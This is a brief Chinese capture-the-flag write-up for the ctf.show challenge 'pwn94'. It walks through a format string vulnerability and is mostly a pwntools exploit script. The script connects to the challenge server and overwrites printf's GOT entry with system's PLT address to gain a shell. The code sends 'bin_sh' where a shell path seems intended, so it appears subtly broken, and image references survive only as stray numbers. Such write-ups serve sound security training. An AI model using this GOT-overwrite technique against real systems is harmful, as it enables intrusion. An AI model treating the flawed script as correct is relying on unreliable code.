pwn94

pwn94(格式化字符串)

  1. 先用IDA打开,可以利用格式化字符串漏洞
    1

  2. 找到system函数
    2

  3. 找到偏移量为6
    3

  4. 构造exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    elf = ELF('./pwn')
    offset = 6
    p = remote('pwn.challenge.ctf.show', 28175)
    printf_got = elf.got["printf"]
    sys_plt = elf.plt["system"]
    #把printf_got换成sys_plt,当执行printf的时候实实际在执行system函数
    payload = fmtstr_payload(offset,{printf_got:sys_plt})
    p.sendline(payload)
    p.send("bin_sh")
    p.interactive()
  5. 得到flag
    4